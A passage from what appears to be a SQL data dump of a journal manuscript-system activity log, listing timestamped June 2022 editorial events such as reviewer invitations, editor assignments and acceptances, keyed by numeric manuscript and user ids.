article',12774,'Publisher',984),(118608,'2022-06-22 09:54:25','Publisher has been Assigned Editor',12822,'Publisher',85),(118609,'2022-06-22 10:39:37','Publisher has Invited Reviewer',12822,'Publisher',85),(118610,'2022-06-22 10:39:42','Publisher has Invited Reviewer',12822,'Publisher',85),(118611,'2022-06-22 10:39:47','Publisher has Invited Reviewer',12822,'Publisher',85),(118612,'2022-06-22 10:39:51','Publisher has Invited Reviewer',12822,'Publisher',85),(118613,'2022-06-22 10:39:56','Publisher has Invited Reviewer',12822,'Publisher',85),(118614,'2022-06-22 10:40:01','Publisher has Invited Reviewer',12822,'Publisher',85),(118615,'2022-06-22 10:40:41','Publisher has Invited Reviewer',12822,'Publisher',85),(118616,'2022-06-22 11:04:37','Publisher has Invited Reviewer',12523,'Publisher',85),(118617,'2022-06-22 11:17:20','Reviewer has submitted comments',12523,'Reviewer',8994),(118618,'2022-06-22 11:18:09','Publisher : Notified Editor',12523,'Publisher',85),(118619,'2022-06-22 11:19:10','Editor has Accepted to review Manuscript',12523,'Editor',1393),(118620,'2022-06-22 11:19:18','Editor has Accepted to review Manuscript',12570,'Editor',1393),(118621,'2022-06-22 11:19:29','Editor has been Editor Decision Accepted article',12523,'Editor',1393),(118622,'2022-06-22 11:45:13','Publisher has been Accepted Articles  article',12523,'Publisher',85),(118623,'2022-06-22 13:26:33','Editor has been Editor Decision Accepted article',12523,'Editor',1393),(118624,'2022-06-22 16:44:15','Publisher has been Assigned Editor',12827,'Publisher',48),(118625,'2022-06-23 10:09:22','Publisher has been Withdrawn  article',12797,'Publisher',984),(118626,'2022-06-23 10:55:45','Editor has Accepted to review Manuscript',12464,'Editor',1670),(118627,'2022-06-23 10:56:32','Editor has been Editor Decision Accepted article',12464,'Editor',1670),(118628,'2022-06-23 10:58:05','Publisher has been Accepted Articles  article',12464,'Publisher',274),(118629,'2022-06-23 10:58:08','Publisher has been Accepted Articles  article',12464,'Publisher',274),(118630,'2022-06-23 10:58:10','Publisher has been Accepted Articles  article',12464,'Publisher',274),(118631,'2022-06-23 10:58:11','Publisher has been Accepted Articles  article',12464,'Publisher',274),(118632,'2022-06-23 11:00:28','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118633,'2022-06-23 11:00:29','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118634,'2022-06-23 11:00:30','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118635,'2022-06-23 11:00:32','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118636,'2022-06-23 11:00:33','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118637,'2022-06-23 11:00:34','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118638,'2022-06-23 11:00:34','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118639,'2022-06-23 11:00:36','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118640,'2022-06-23 11:00:37','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118641,'2022-06-23 11:00:37','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118642,'2022-06-23 11:00:38','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118643,'2022-06-23 11:00:39','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118644,'2022-06-23 11:00:40','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118645,'2022-06-23 11:00:40','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118646,'2022-06-23 11:00:41','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118647,'2022-06-23 11:00:41','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118648,'2022-06-23 11:00:42','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118649,'2022-06-23 11:00:42','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118650,'2022-06-23 11:00:43','Editor has Accepted to review Manuscript',12719,'Editor',1667),(118651,'2022-06-23 11:00:55','Editor has been Editor Decision Accepted article',12719,'Editor',1667),(118652,'2022-06-23 11:01:53','Publisher has been Accepted Articles  article',12719,'Publisher',274),(118653,'2022-06-23 11:01:56','Publisher has been Accepted Articles  article',12719,'Publisher',274),(118654,'2022-06-23 11:01:58','Publisher has been Accepted Articles  article',12719,'Publisher',274),(118655,'2022-06-23 11:02:08','Publisher has been Accepted Articles  article',12719,'Publisher',274),(118656,'2022-06-23 11:03:30','Editor has Accepted to review Manuscript',12788,'Editor',1665),(118657,'2022-06-23 11:03:40','Editor has been Editor Decision Accepted article',12788,'Editor',1665),(118658,'2022-06-23 11:04:20','Publisher has been Accepted Articles  article',12788,'Publisher',274),(118659,'2022-06-23 11:04:21','Publisher has been Accepted Articles  article',12788,'Publisher',274),(118660,'2022-06-23 11:04:23','Publisher has been Accepted Articles  article',12788,'Publisher',274),(118661,'2022-06-23 11:05:43','Editor has Accepted to review Manuscript',12794,'Editor',1664),(118662,'2022-06-23 11:05:53','Editor has been Editor Decision Accepted article',12794,'Editor',1664),(118663,'2022-06-23 11:06:40','Publisher has been Accepted Articles  article',12794,'Publisher',274),(118664,'2022-06-23 11:06:45','Publisher has been Accepted Articles  article',12794,'Publisher',274),(118665,'2022-06-23 11:06:48','Publisher has been Accepted Articles  article',12794,'Publisher',274),(118666,'2022-06-23 15:48:45','Manuscript Submitted by Author',12828,'Author',12808),(118667,'2022-06-23 17:42:28','Manuscript Submitted by Publisher',12829,'Publisher',85),(118668,'2022-06-24 09:58:34','Manuscript Submitted by Publisher',12831,'Publisher',85),(118669,'2022-06-24 10:10:45','Manuscript Submitted by Publisher',12832,'Publisher',85),(118670,'2022-06-24 10:46:24','Manuscript Submitted by Publisher',12833,'Publisher',984),(118671,'2022-06-24 15:41:47','Publisher has been Assigned Editor',12832,'Publisher',85),(118672,'2022-06-24 15:42:03','Publisher has been Assigned Editor',12831,'Publisher',85),(118673,'2022-06-24 15:42:17','Publisher has been Assigned Editor',12829,'Publisher',85),(118674,'2022-06-24 15:52:34','Publisher has been Accepted Articles  article',12829,'Publisher',85),(118675,'2022-06-24 15:59:12','Publisher has been Accepted Articles  article',12831,'Publisher',85),(118676,'2022-06-24 16:44:18','Publisher has been Accepted Articles  article',12832,'Publisher',85),(118677,'2022-06-25 10:13:40','Publisher has Invited Reviewer',12827,'Publisher',48),(118678,'2022-06-25 10:13:45','Publisher has Invited Reviewer',12827,'Publisher',48),(118679,'2022-06-25 10:13:50','Publisher has Invited Reviewer',12827,'Publisher',48),(118680,'2022-06-25 10:13:54','Publisher has Invited Reviewer',12827,'Publisher',48),(118681,'2022-06-25 11:45:21','Publisher has been Assigned Editor',12833,'Publisher',984),(118682,'2022-06-28 09:37:44','Reviewer has submitted comments',12807,'Reviewer',15737),(118683,'2022-06-28 09:38:32','Editor has been Editor Decision Accepted article',12807,'Editor',195),(118684,'2022-06-28 09:39:19','Publisher has been Accepted Articles  article',12807,'Publisher',48),(118685,'2022-06-28 09:49:41','Publisher has been Assigned Editor',12811,'Publisher',673),(118686,'2022-06-28 09:51:24','Publisher has Invited Reviewer',12811,'Publisher',673),(118687,'2022-06-28 09:51:28','Publisher has Invited Reviewer',12811,'Publisher',673),(118688,'2022-06-28 09:51:33','Publisher has Invited Reviewer',12811,'Publisher',673),(118689,'2022-06-28 09:51:38','Publisher has Invited Reviewer',12811,'Publisher',673),(118690,'2022-06-28 09:51:43','Publisher has Invited Reviewer',12811,'Publisher',673),(118691,'2022-06-28 09:51:48','Publisher has Invited Reviewer',12811,'Publisher',673),(118692,'2022-06-28 09:51:52','Publisher has Invited Reviewer',12811,'Publisher',673),(118693,'2022-06-28 09:51:57','Publisher has Invited Reviewer',12811,'Publisher',673),(118694,'2022-06-28 09:52:02','Publisher has Invited Reviewer',12811,'Publisher',673),(118695,'2022-06-28 09:56:39','Publisher has been Assigned Editor',12812,'Publisher',84),(118696,'2022-06-28 09:56:51','Publisher has been Assigned Editor',12671,'Publisher',84),(118697,'2022-06-28 10:03:54','Publisher has been Assigned Editor',11620,'Publisher',645),(118698,'2022-06-28 10:08:27','Publisher has Invited Reviewer',12434,'Publisher',376),(118699,'2022-06-28 10:08:32','Publisher has Invited Reviewer',12434,'Publisher',376),(118700,'2022-06-28 10:08:37','Publisher has Invited Reviewer',12434,'Publisher',376),(118701,'2022-06-28 10:08:41','Publisher has Invited Reviewer',12434,'Publisher',376),(118702,'2022-06-28 10:08:46','Publisher has Invited Reviewer',12434,'Publisher',376),(118703,'2022-06-28 10:08:51','Publisher has Invited Reviewer',12434,'Publisher',376),(118704,'2022-06-28 10:14:07','Publisher has been Assigned Editor',12819,'Publisher',988),(118705,'2022-06-28 10:15:09','Publisher has been Assigned Editor',12818,'Publisher',988),(118706,'2022-06-28 10:15:56','Publisher has been Assigned Editor',12803,'Publisher',988),(118707,'2022-06-28 10:16:24','Publisher has been Assigned Editor',12781,'Publisher',988),(118708,'2022-06-28 10:16:50','Publisher has been Assigned Editor',12398,'Publisher',988),(118709,'2022-06-28 10:17:14','Publisher has been Assigned Editor',12370,'Publisher',988),(118710,'2022-06-28 10:17:16','Publisher has been Assigned Editor',12815,'Publisher',248),(118711,'2022-06-28 10:17:29','Publisher has been Assigned Editor',12814,'Publisher',248),(118712,'2022-06-28 10:19:05','Manuscript Updated',12819,'Publisher',988),(118713,'2022-06-28 13:05:34','Manuscript Updated',11959,'Publisher',972),(118714,'2022-06-28 14:41:09','Publisher has been Assigned Editor',12662,'Publisher',248),(118715,'2022-06-28 14:42:44','Publisher has Invited Reviewer',12662,'Publisher',248),(118716,'2022-06-28 14:43:35','Publisher has been Assigned Editor',12316,'Publisher',248),(118717,'2022-06-28 14:48:32','Publisher has Invited Reviewer',12815,'Publisher',248),(118718,'2022-06-28 14:48:32','Publisher has Invited Reviewer',12815,'Publisher',248),(118719,'2022-06-28 14:48:33','Publisher has Invited Reviewer',12815,'Publisher',248),(118720,'2022-06-28 14:48:33','Publisher has Invited Reviewer',12815,'Publisher',248),(118721,'2022-06-28 14:48:33','Publisher has Invited Reviewer',12815,'Publisher',248),(118722,'2022-06-28 14:48:34','Publisher has Invited Reviewer',12815,'Publisher',248),(118723,'2022-06-28 14:48:34','Publisher has Invited Reviewer',12815,'Publisher',248),(118724,'2022-06-28 14:48:35','Publisher has Invited Reviewer',12815,'Publisher',248),(118725,'2022-06-28 14:48:35','Publisher has Invited Reviewer',12815,'Publisher',248),(118726,'2022-06-28 14:48:36','Publisher has Invited Reviewer',12815,'Publisher',248),(118727,'2022-06-28 14:48:36','Publisher has Invited Reviewer',12815,'Publisher',248),(118728,'2022-06-28 14:48:37','Publisher has Invited Reviewer',12815,'Publisher',248),(118729,'2022-06-28 14:48:37','Publisher has Invited Reviewer',12815,'Publisher',248),(118730,'2022-06-28 14:48:38','Publisher has Invited Reviewer',12815,'Publisher',248),(118731,'2022-06-28 14:48:38','Publisher has Invited Reviewer',12815,'Publisher',248),(118732,'2022-06-28 14:48:38','Publisher has Invited Reviewer',12815,'Publisher',248),(118733,'2022-06-28 14:48:39','Publisher has Invited Reviewer',12815,'Publisher',248),(118734,'2022-06-28 14:48:40','Publisher has Invited Reviewer',12815,'Publisher',248),(118735,'2022-06-28 14:48:40','Publisher has Invited Reviewer',12815,'Publisher',248),(118736,'2022-06-28 14:48:41','Publisher has Invited Reviewer',12815,'Publisher',248),(118737,'2022-06-28 14:48:41','Publisher has Invited Reviewer',12815,'Publisher',248),(118738,'2022-06-28 14:48:42','Publisher has Invited Reviewer',12815,'Publisher',248),(118739,'2022-06-28 14:48:42','Publisher has Invited Reviewer',12815,'Publisher',248),(118740,'2022-06-28 14:48:43','Publisher has Invited Reviewer',12815,'Publisher',248),(118741,'2022-06-28 14:48:43','Publisher has Invited Reviewer',12815,'Publisher',248),(118742,'2022-06-28 14:48:44','Publisher has Invited Reviewer',12815,'Publisher',248),(118743,'2022-06-28 14:50:17','Publisher has Invited Reviewer',12814,'Publisher',248),(118744,'2022-06-28 14:50:17','Publisher has Invited Reviewer',12814,'Publisher',248),(118745,'2022-06-28 14:50:18','Publisher has Invited Reviewer',12814,'Publisher',248),(118746,'2022-06-28 14:50:19','Publisher has Invited Reviewer',12814,'Publisher',248),(118747,'2022-06-28 14:50:20','Publisher has Invited Reviewer',12814,'Publisher',248),(118748,'2022-06-28 14:50:20','Publisher has Invited Reviewer',12814,'Publisher',248),(118749,'2022-06-28 14:50:21','Publisher has Invited Reviewer',12814,'Publisher',248),(118750,'2022-06-28 14:50:21','Publisher has Invited Reviewer',12814,'Publisher',248),(118751,'2022-06-28 14:50:22','Publisher has Invited Reviewer',12814,'Publisher',248),(118752,'2022-06-28 14:50:22','Publisher has Invited Reviewer',12814,'Publisher',248),(118753,'2022-06-28 14:53:43','Publisher has Invited Reviewer',12662,'Publisher',248),(118754,'2022-06-28 14:53:43','Publisher has Invited Reviewer',12662,'Publisher',248),(118755,'2022-06-28 14:53:44','Publisher has Invited Reviewer',12662,'Publisher',248),(118756,'2022-06-28 14:53:44','Publisher has Invited Reviewer',12662,'Publisher',248),(118757,'2022-06-28 14:53:45','Publisher has Invited Reviewer',12662,'Publisher',248),(118758,'2022-06-28 14:53:45','Publisher has Invited Reviewer',12662,'Publisher',248),(118759,'2022-06-28 14:53:46','Publisher has Invited Reviewer',12662,'Publisher',248),(118760,'2022-06-28 14:53:46','Publisher has Invited Reviewer',12662,'Publisher',248),(118761,'2022-06-28 14:53:46','Publisher has Invited Reviewer',12662,'Publisher',248),(118762,'2022-06-28 14:53:47','Publisher has Invited Reviewer',12662,'Publisher',248),(118763,'2022-06-28 14:53:47','Publisher has Invited Reviewer',12662,'Publisher',248),(118764,'2022-06-28 14:53:48','Publisher has Invited Reviewer',12662,'Publisher',248),(118765,'2022-06-28 14:53:49','Publisher has Invited Reviewer',12662,'Publisher',248),(118766,'2022-06-28 14:53:49','Publisher has Invited Reviewer',12662,'Publisher',248),(118767,'2022-06-28 14:53:49','Publisher has Invited Reviewer',12662,'Publisher',248),(118768,'2022-06-28 14:53:50','Publisher has Invited Reviewer',12662,'Publisher',248),(118769,'2022-06-28 14:53:50','Publisher has Invited Reviewer',12662,'Publisher',248),(118770,'2022-06-28 14:53:51','Publisher has Invited Reviewer',12662,'Publisher',248),(118771,'2022-06-28 14:53:51','Publisher has Invited Reviewer',12662,'Publisher',248),(118772,'2022-06-28 14:53:52','Publisher has Invited Reviewer',12662,'Publisher',248),(118773,'2022-06-28 14:53:53','Publisher has Invited Reviewer',12662,'Publisher',248),(118774,'2022-06-28 14:53:53','Publisher has Invited Reviewer',12662,'Publisher',248),(118775,'2022-06-28 14:53:54','Publisher has Invited Reviewer',12662,'Publisher',248),(118776,'2022-06-28 14:56:02','Publisher has Invited Reviewer',12316,'Publisher',248),(118777,'2022-06-28 14:56:02','Publisher has Invited Reviewer',12316,'Publisher',248),(118778,'2022-06-28 14:56:03','Publisher has Invited Reviewer',12316,'Publisher',248),(118779,'2022-06-28 14:56:03','Publisher has Invited Reviewer',12316,'Publisher',248),(118780,'2022-06-28 14:56:04','Publisher has Invited Reviewer',12316,'Publisher',248),(118781,'2022-06-28 14:56:05','Publisher has Invited Reviewer',12316,'Publisher',248),(118782,'2022-06-28 14:56:05','Publisher has Invited Reviewer',12316,'Publisher',248),(118783,'2022-06-28 14:56:06','Publisher has Invited Reviewer',12316,'Publisher',248),(118784,'2022-06-28 14:56:07','Publisher has Invited Reviewer',12316,'Publisher',248),(118785,'2022-06-28 14:56:07','Publisher has Invited Reviewer',12316,'Publisher',248),(118786,'2022-06-28 14:57:20','Publisher has Invited Reviewer',12190,'Publisher',248),(118787,'2022-06-28 14:57:21','Publisher has Invited Reviewer',12190,'Publisher',248),(118788,'2022-06-28 14:57:21','Publisher has Invited Reviewer',12190,'Publisher',248),(118789,'2022-06-28 14:57:22','Publisher has Invited Reviewer',12190,'Publisher',248),(118790,'2022-06-28 14:57:22','Publisher has Invited Reviewer',12190,'Publisher',248),(118791,'2022-06-28 14:57:23','Publisher has Invited Reviewer',12190,'Publisher',248),(118792,'2022-06-28 14:57:34','Publisher has Invited Reviewer',12190,'Publisher',248),(118793,'2022-06-28 14:57:35','Publisher has Invited Reviewer',12190,'Publisher',248),(118794,'2022-06-28 14:57:35','Publisher has Invited Reviewer',12190,'Publisher',248),(118795,'2022-06-28 14:57:36','Publisher has Invited Reviewer',12190,'Publisher',248),(118796,'2022-06-28 14:57:36','Publisher has Invited Reviewer',12190,'Publisher',248),(118797,'2022-06-28 14:57:36','Publisher has Invited Reviewer',12190,'Publisher',248),(118798,'2022-06-28 14:57:37','Publisher has Invited Reviewer',12190,'Publisher',248),(118799,'2022-06-28 14:57:38','Publisher has Invited Reviewer',12190,'Publisher',248),(118800,'2022-06-28 14:57:38','Publisher has Invited Reviewer',12190,'Publisher',248),(118801,'2022-06-28 14:57:39','Publisher has Invited Reviewer',12190,'Publisher',248),(118802,'2022-06-28 14:57:39','Publisher has Invited Reviewer',12190,'Publisher',248),(118803,'2022-06-28 14:57:40','Publisher has Invited Reviewer',12190,'Publisher',248),(118804,'2022-06-28 14:57:40','Publisher has Invited Reviewer',12190,'Publisher',248),(118805,'2022-06-28 14:57:41','Publisher has Invited Reviewer',12190,'Publisher',248),(118806,'2022-06-28 15:25:54','Reviewer has submitted comments',12777,'Reviewer',659),(118807,'2022-06-28 15:26:25','Publisher : Notified Editor',12777,'Publisher',75),(118808,'2022-06-28 15:26:59','Editor has Accepted to review Manuscript',12777,'Editor',161),(118809,'2022-06-28 15:27:09','Editor has been Editor Decision Accepted article',12777,'Editor',161),(118810,'2022-06-28 15:28:08','Publisher: Accept Notification has been sent to Author',12777,'Publisher',75),(118811,'2022-06-28 15:28:47','Publisher has been Accepted Articles  article',12777,'Publisher',75),(118812,'2022-06-28 15:42:12','Publisher has been Assigned Editor',12242,'Publisher',248),(118813,'2022-06-28 15:43:50','Publisher has Invited Reviewer',12662,'Publisher',248),(118814,'2022-06-28 15:43:50','Publisher has Invited Reviewer',12662,'Publisher',248),(118815,'2022-06-28 15:43:51','Publisher has Invited Reviewer',12662,'Publisher',248),(118816,'2022-06-28 15:44:43','Manuscript Submitted by Publisher',12834,'Publisher',48),(118817,'2022-06-28 15:44:54','Publisher has Invited Reviewer',12662,'Publisher',248),(118818,'2022-06-28 15:44:55','Publisher has Invited Reviewer',12662,'Publisher',248),(118819,'2022-06-28 15:46:04','Publisher has Invited Reviewer',12242,'Publisher',248),(118820,'2022-06-28 15:46:04','Publisher has Invited Reviewer',12242,'Publisher',248),(118821,'2022-06-28 15:46:05','Publisher has Invited Reviewer',12242,'Publisher',248),(118822,'2022-06-28 15:46:06','Publisher has Invited Reviewer',12242,'Publisher',248),(118823,'2022-06-28 15:46:06','Publisher has Invited Reviewer',12242,'Publisher',248),(118824,'2022-06-28 15:46:07','Publisher has Invited Reviewer',12242,'Publisher',248),(118825,'2022-06-28 15:46:07','Publisher has Invited Reviewer',12242,'Publisher',248),(118826,'2022-06-28 15:46:08','Publisher has Invited Reviewer',12242,'Publisher',248),(118827,'2022-06-28 15:46:09','Publisher has Invited Reviewer',12242,'Publisher',248),(118828,'2022-06-28 15:46:10','Publisher has Invited Reviewer',12242,'Publisher',248),(118829,'2022-06-28 15:46:10','Publisher has Invited Reviewer',12242,'Publisher',248),(118830,'2022-06-28 15:46:11','Publisher has Invited Reviewer',12242,'Publisher',248),(118831,'2022-06-28 15:46:11','Publisher has Invited Reviewer',12242,'Publisher',248),(118832,'2022-06-28 15:46:12','Publisher has Invited Reviewer',12242,'Publisher',248),(118833,'2022-06-28 15:46:12','Publisher has Invited Reviewer',12242,'Publisher',248),(118834,'2022-06-28 15:46:13','Publisher has Invited Reviewer',12242,'Publisher',248),(118835,'2022-06-28 15:46:13','Publisher has Invited Reviewer',12242,'Publisher',248),(118836,'2022-06-28 15:46:13','Publisher has Invited Reviewer',12242,'Publisher',248),(118837,'2022-06-28 15:46:14','Publisher has Invited Reviewer',12242,'Publisher',248),(118838,'2022-06-28 15:46:14','Publisher has Invited Reviewer',12242,'Publisher',248),(118839,'2022-06-28 15:46:15','Publisher has Invited Reviewer',12242,'Publisher',248),(118840,'2022-06-28 15:46:15','Publisher has Invited Reviewer',12242,'Publisher',248),(118841,'2022-06-28 15:46:16','Publisher has Invited Reviewer',12242,'Publisher',248),(118842,'2022-06-28 15:46:36','Publisher has Invited Reviewer',12242,'Publisher',248),(118843,'2022-06-28 15:46:37','Publisher has Invited Reviewer',12242,'Publisher',248),(118844,'2022-06-28 15:46:37','Publisher has Invited Reviewer',12242,'Publisher',248),(118845,'2022-06-28 15:46:38','Publisher has Invited Reviewer',12242,'Publisher',248),(118846,'2022-06-28 15:46:38','Publisher has Invited Reviewer',12242,'Publisher',248),(118847,'2022-06-28 15:47:53','Publisher has Invited Reviewer',11846,'Publisher',248),(118848,'2022-06-28 15:47:53','Publisher has Invited Reviewer',11846,'Publisher',248),(118849,'2022-06-28 15:47:53','Publisher has Invited Reviewer',11846,'Publisher',248),(118850,'2022-06-28 15:47:54','Publisher has Invited Reviewer',11846,'Publisher',248),(118851,'2022-06-28 15:47:54','Publisher has Invited Reviewer',11846,'Publisher',248),(118852,'2022-06-28 15:47:55','Publisher has Invited Reviewer',11846,'Publisher',248),(118853,'2022-06-28 15:48:04','Publisher has Invited Reviewer',11846,'Publisher',248),(118854,'2022-06-28 15:48:04','Publisher has Invited Reviewer',11846,'Publisher',248),(118855,'2022-06-28 15:48:05','Publisher has Invited Reviewer',11846,'Publisher',248),(118856,'2022-06-28 15:48:05','Publisher has Invited Reviewer',11846,'Publisher',248),(118857,'2022-06-28 15:48:06','Publisher has Invited Reviewer',11846,'Publisher',248),(118858,'2022-06-28 15:48:06','Publisher has Invited Reviewer',11846,'Publisher',248),(118859,'2022-06-28 15:48:17','Publisher has Invited Reviewer',11846,'Publisher',248),(118860,'2022-06-28 15:48:18','Publisher has Invited Reviewer',11846,'Publisher',248),(118861,'2022-06-28 15:48:18','Publisher has Invited Reviewer',11846,'Publisher',248),(118862,'2022-06-28 15:48:18','Publisher has Invited Reviewer',11846,'Publisher',248),(118863,'2022-06-28 15:48:19','Publisher has Invited Reviewer',11846,'Publisher',248),(118864,'2022-06-28 15:48:19','Publisher has Invited Reviewer',11846,'Publisher',248),(118865,'2022-06-28 15:48:20','Publisher has Invited Reviewer',11846,'Publisher',248),(118866,'2022-06-28 15:48:20','Publisher has Invited Reviewer',11846,'Publisher',248),(118867,'2022-06-28 15:49:24','Publisher has Invited Reviewer',11846,'Publisher',248),(118868,'2022-06-28 15:49:24','Publisher has Invited Reviewer',11846,'Publisher',248),(118869,'2022-06-28 15:49:24','Publisher has Invited Reviewer',11846,'Publisher',248),(118870,'2022-06-28 15:49:25','Publisher has Invited Reviewer',11846,'Publisher',248),(118871,'2022-06-28 15:49:25','Publisher has Invited Reviewer',11846,'Publisher',248),(118872,'2022-06-28 15:50:11','Publisher has Invited Reviewer',11323,'Publisher',248),(118873,'2022-06-28 15:50:11','Publisher has Invited Reviewer',11323,'Publisher',248),(118874,'2022-06-28 15:50:11','Publisher has Invited Reviewer',11323,'Publisher',248),(118875,'2022-06-28 15:50:12','Publisher has Invited Reviewer',11323,'Publisher',248),(118876,'2022-06-28 15:50:13','Publisher has Invited Reviewer',11323,'Publisher',248),(118877,'2022-06-28 15:50:13','Publisher has Invited Reviewer',11323,'Publisher',248),(118878,'2022-06-28 15:50:14','Publisher has Invited Reviewer',11323,'Publisher',248),(118879,'2022-06-28 15:50:14','Publisher has Invited Reviewer',11323,'Publisher',248),(118880,'2022-06-28 15:50:14','Publisher has Invited Reviewer',11323,'Publisher',248),(118881,'2022-06-28 15:50:15','Publisher has Invited Reviewer',11323,'Publisher',248),(118882,'2022-06-28 15:50:15','Publisher has Invited Reviewer',11323,'Publisher',248),(118883,'2022-06-28 15:50:16','Publisher has Invited Reviewer',11323,'Publisher',248),(118884,'2022-06-28 15:50:17','Publisher has Invited Reviewer',11323,'Publisher',248),(118885,'2022-06-28 15:50:17','Publisher has Invited Reviewer',11323,'Publisher',248),(118886,'2022-06-28 15:50:18','Publisher has Invited Reviewer',11323,'Publisher',248),(118887,'2022-06-28 15:50:18','Publisher has Invited Reviewer',11323,'Publisher',248),(118888,'2022-06-28 15:50:19','Publisher has Invited Reviewer',11323,'Publisher',248),(118889,'2022-06-28 15:50:19','Publisher has Invited Reviewer',11323,'Publisher',248),(118890,'2022-06-28 15:50:20','Publisher has Invited Reviewer',11323,'Publisher',248),(118891,'2022-06-28 15:50:20','Publisher has Invited Reviewer',11323,'Publisher',248),(118892,'2022-06-28 15:50:21','Publisher has Invited Reviewer',11323,'Publisher',248),(118893,'2022-06-28 15:50:21','Publisher has Invited Reviewer',11323,'Publisher',248),(118894,'2022-06-28 15:50:21','Publisher has Invited Reviewer',11323,'Publisher',248),(118895,'2022-06-28 15:50:22','Publisher has Invited Reviewer',11323,'Publisher',248),(118896,'2022-06-28 15:50:22','Publisher has Invited Reviewer',11323,'Publisher',248),(118897,'2022-06-28 15:50:23','Publisher has Invited Reviewer',11323,'Publisher',248),(118898,'2022-06-28 15:50:35','Manuscript Submitted by Publisher',12835,'Publisher',48),(118899,'2022-06-28 15:51:10','Publisher has Invited Reviewer',11294,'Publisher',248),(118900,'2022-06-28 15:51:11','Publisher has Invited Reviewer',11294,'Publisher',248),(118901,'2022-06-28 15:51:11','Publisher has Invited Reviewer',11294,'Publisher',248),(118902,'2022-06-28 15:51:12','Publisher has Invited Reviewer',11294,'Publisher',248),(118903,'2022-06-28 15:51:12','Publisher has Invited Reviewer',11294,'Publisher',248),(118904,'2022-06-28 15:51:13','Publisher has Invited Reviewer',11294,'Publisher',248),(118905,'2022-06-28 15:51:13','Publisher has Invited Reviewer',11294,'Publisher',248),(118906,'2022-06-28 15:51:14','Publisher has Invited Reviewer',11294,'Publisher',248),(118907,'2022-06-28 15:51:14','Publisher has Invited Reviewer',11294,'Publisher',248),(118908,'2022-06-28 15:51:15','Publisher has Invited Reviewer',11294,'Publisher',248),(118909,'2022-06-28 15:51:15','Publisher has Invited Reviewer',11294,'Publisher',248),(118910,'2022-06-28 15:51:15','Publisher has Invited Reviewer',11294,'Publisher',248),(118911,'2022-06-28 15:51:59','Publisher has Invited Reviewer',11294,'Publisher',248),(118912,'2022-06-28 15:51:59','Publisher has Invited Reviewer',11294,'Publisher',248),(118913,'2022-06-28 15:51:59','Publisher has Invited Reviewer',11294,'Publisher',248),(118914,'2022-06-28 15:52:12','Publisher has Invited Reviewer',11294,'Publisher',248),(118915,'2022-06-28 15:52:12','Publisher has Invited Reviewer',11294,'Publisher',248),(118916,'2022-06-28 15:52:12','Publisher has Invited Reviewer',11294,'Publisher',248),(118917,'2022-06-28 15:52:13','Publisher has Invited Reviewer',11294,'Publisher',248),(118918,'2022-06-28 15:52:13','Publisher has Invited Reviewer',11294,'Publisher',248),(118919,'2022-06-28 15:52:14','Publisher has Invited Reviewer',11294,'Publisher',248),(118920,'2022-06-28 15:55:05','Manuscript Submitted by Publisher',12836,'Publisher',48),(118921,'2022-06-28 15:55:35','Publisher has been Assigned Editor',11598,'Publisher',645),(118922,'2022-06-28 15:56:56','Publisher has Invited Reviewer',11620,'Publisher',645),(118923,'2022-06-28 15:57:00','Publisher has Invited Reviewer',11620,'Publisher',645),(118924,'2022-06-28 15:57:05','Publisher has Invited Reviewer',11620,'Publisher',645),(118925,'2022-06-28 15:57:10','Publisher has Invited Reviewer',11620,'Publisher',645),(118926,'2022-06-28 15:57:15','Publisher has Invited Reviewer',11620,'Publisher',645),(118927,'2022-06-28 15:57:17','Reviewer has submitted comments',12242,'Reviewer',16861),(118928,'2022-06-28 15:57:19','Publisher has Invited Reviewer',11620,'Publisher',645),(118929,'2022-06-28 15:57:53','Publisher has Invited Reviewer',11620,'Publisher',645),(118930,'2022-06-28 15:57:58','Publisher has Invited Reviewer',11620,'Publisher',645),(118931,'2022-06-28 15:58:59','Publisher has been Assigned Editor',11440,'Publisher',645),(118932,'2022-06-28 15:59:27','Publisher has been Assigned Editor',10975,'Publisher',645),(118933,'2022-06-28 16:00:44','Publisher has Invited Reviewer',11598,'Publisher',645),(118934,'2022-06-28 16:01:09','Publisher has Invited Reviewer',11598,'Publisher',645),(118935,'2022-06-28 16:02:18','Publisher has Invited Reviewer',11440,'Publisher',645),(118936,'2022-06-28 16:02:23','Publisher has Invited Reviewer',11440,'Publisher',645),(118937,'2022-06-28 16:02:28','Publisher has Invited Reviewer',11440,'Publisher',645),(118938,'2022-06-28 16:02:32','Publisher has Invited Reviewer',11440,'Publisher',645),(118939,'2022-06-28 16:02:37','Publisher has Invited Reviewer',11440,'Publisher',645),(118940,'2022-06-28 16:02:42','Publisher has Invited Reviewer',11440,'Publisher',645),(118941,'2022-06-28 16:02:47','Publisher has Invited Reviewer',11440,'Publisher',645),(118942,'2022-06-28 16:04:03','Publisher has Invited Reviewer',11280,'Publisher',645),(118943,'2022-06-28 16:05:01','Publisher has Invited Reviewer',11101,'Publisher',645),(118944,'2022-06-28 16:05:06','Publisher has Invited Reviewer',11101,'Publisher',645),(118945,'2022-06-28 16:05:47','Publisher has Invited Reviewer',10975,'Publisher',645),(118946,'2022-06-28 16:06:18','Publisher has Invited Reviewer',10975,'Publisher',645),(118947,'2022-06-28 16:06:23','Publisher has Invited Reviewer',10975,'Publisher',645),(118948,'2022-06-29 10:15:49','Reviewer has submitted comments',12662,'Reviewer',16861),(118949,'2022-06-29 10:15:50','Reviewer has submitted comments',12662,'Reviewer',16861),(118950,'2022-06-29 10:16:03','Reviewer has updated comments',12662,'Reviewer',16861),(118951,'2022-06-29 13:36:50','Reviewer has submitted comments',12723,'Reviewer',645),(118952,'2022-06-29 13:37:23','Publisher : Notified Editor',12723,'Publisher',75),(118953,'2022-06-29 13:47:26','Editor has Accepted to review 